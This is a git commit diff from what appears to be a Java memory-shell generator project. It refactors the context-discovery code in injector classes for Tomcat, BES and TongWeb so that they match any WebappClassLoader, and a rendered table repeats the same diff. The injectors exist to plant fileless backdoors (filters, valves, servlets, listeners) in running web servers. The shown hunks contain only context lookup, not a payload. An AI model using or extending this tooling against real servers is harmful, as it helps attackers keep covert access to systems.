refactor: simplify fetch context from spring

ReaJason · ReaJason · commit 347c9c55f779 · 2025-12-02T19:33:01.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
@@ -83,6 +83,9 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null
+                    && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +75,9 @@ public List<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null
+                    && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
@@ -74,6 +74,9 @@ public Set<Object> getContext() throws Exception {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
+            } else if (thread.getContextClassLoader() != null
+                    && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
         return contexts;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
@@ -83,8 +83,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java
@@ -74,8 +74,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
@@ -100,8 +100,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
@@ -81,8 +81,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
@@ -74,8 +74,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
@@ -80,8 +80,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
@@ -92,7 +92,7 @@ public Set<Object> getContext() throws Exception {
                         contexts.addAll(children.values());
                     }
                 } else if (thread.getContextClassLoader() != null
-                        && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                        && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
                     contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
                 }
             }catch (Exception ignored) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
@@ -75,7 +75,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                    && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
@@ -75,7 +75,7 @@ public Set<Object> getContext() throws Exception {
                     contexts.addAll(children.values());
                 }
             } else if (thread.getContextClassLoader() != null
-                    && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
+                    && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {
                 contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
             }
         }

Original file line number	Diff line number	Diff line change
`@@ -83,6 +83,9 @@ public Set<Object> getContext() throws Exception {`
`83`	`83`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`84`	`84`	`contexts.addAll(children.values());`
`85`	`85`	`}`
	`86`	`+ } else if (thread.getContextClassLoader() != null`
	`87`	`+ && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {`
	`88`	`+ contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`86`	`89`	`}`
`87`	`90`	`}`
`88`	`91`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -64,8 +64,8 @@ private String getContextRoot(Object context) {`
`64`	`64`	`return c + "(" + r + ")";`
`65`	`65`	`}`
`66`	`66`
`67`		`- public List<Object> getContext() throws Exception {`
`68`		`- List<Object> contexts = new ArrayList<Object>();`
	`67`	`+ public Set<Object> getContext() throws Exception {`
	`68`	`+ Set<Object> contexts = new HashSet<Object>();`
`69`	`69`	`Set<Thread> threads = Thread.getAllStackTraces().keySet();`
`70`	`70`	`for (Thread thread : threads) {`
`71`	`71`	`if (thread.getName().contains("ContainerBackgroundProcessor")) {`
`@@ -75,6 +75,9 @@ public List<Object> getContext() throws Exception {`
`75`	`75`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`76`	`76`	`contexts.addAll(children.values());`
`77`	`77`	`}`
	`78`	`+ } else if (thread.getContextClassLoader() != null`
	`79`	`+ && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {`
	`80`	`+ contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`78`	`81`	`}`
`79`	`82`	`}`
`80`	`83`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -74,6 +74,9 @@ public Set<Object> getContext() throws Exception {`
`74`	`74`	`Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");`
`75`	`75`	`contexts.addAll(children.values());`
`76`	`76`	`}`
	`77`	`+ } else if (thread.getContextClassLoader() != null`
	`78`	`+ && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {`
	`79`	`+ contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`77`	`80`	`}`
`78`	`81`	`}`
`79`	`82`	`return contexts;`
Original file line number	Diff line number	Diff line change
`@@ -83,8 +83,7 @@ public Set<Object> getContext() throws Exception {`
`83`	`83`	`contexts.addAll(children.values());`
`84`	`84`	`}`
`85`	`85`	`} else if (thread.getContextClassLoader() != null`
`86`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`87`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
	`86`	`+ && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {`
`88`	`87`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`89`	`88`	`}`
`90`	`89`	`}`
Original file line number	Diff line number	Diff line change
`@@ -74,8 +74,7 @@ public Set<Object> getContext() throws Exception {`
`74`	`74`	`contexts.addAll(children.values());`
`75`	`75`	`}`
`76`	`76`	`} else if (thread.getContextClassLoader() != null`
`77`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`78`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
	`77`	`+ && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {`
`79`	`78`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`80`	`79`	`}`
`81`	`80`	`}`
Original file line number	Diff line number	Diff line change
`@@ -100,8 +100,7 @@ public Set<Object> getContext() throws Exception {`
`100`	`100`	`contexts.addAll(children.values());`
`101`	`101`	`}`
`102`	`102`	`} else if (thread.getContextClassLoader() != null`
`103`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`104`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
	`103`	`+ && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {`
`105`	`104`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`106`	`105`	`}`
`107`	`106`	`}`
Original file line number	Diff line number	Diff line change
`@@ -81,8 +81,7 @@ public Set<Object> getContext() throws Exception {`
`81`	`81`	`contexts.addAll(children.values());`
`82`	`82`	`}`
`83`	`83`	`} else if (thread.getContextClassLoader() != null`
`84`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`85`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
	`84`	`+ && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {`
`86`	`85`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`87`	`86`	`}`
`88`	`87`	`}`
Original file line number	Diff line number	Diff line change
`@@ -80,8 +80,7 @@ public Set<Object> getContext() throws Exception {`
`80`	`80`	`contexts.addAll(children.values());`
`81`	`81`	`}`
`82`	`82`	`} else if (thread.getContextClassLoader() != null`
`83`		`- && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")`
`84`		`- \|\| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {`
	`83`	`+ && thread.getContextClassLoader().getClass().toString().contains("WebappClassLoader")) {`
`85`	`84`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`86`	`85`	`}`
`87`	`86`	`}`
Original file line number	Diff line number	Diff line change
`@@ -92,7 +92,7 @@ public Set<Object> getContext() throws Exception {`
`92`	`92`	`contexts.addAll(children.values());`
`93`	`93`	`}`
`94`	`94`	`} else if (thread.getContextClassLoader() != null`
`95`		`- && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {`
	`95`	`+ && thread.getContextClassLoader().getClass().getName().contains("WebappClassLoader")) {`
`96`	`96`	`contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));`
`97`	`97`	`}`
`98`	`98`	`}catch (Exception ignored) {`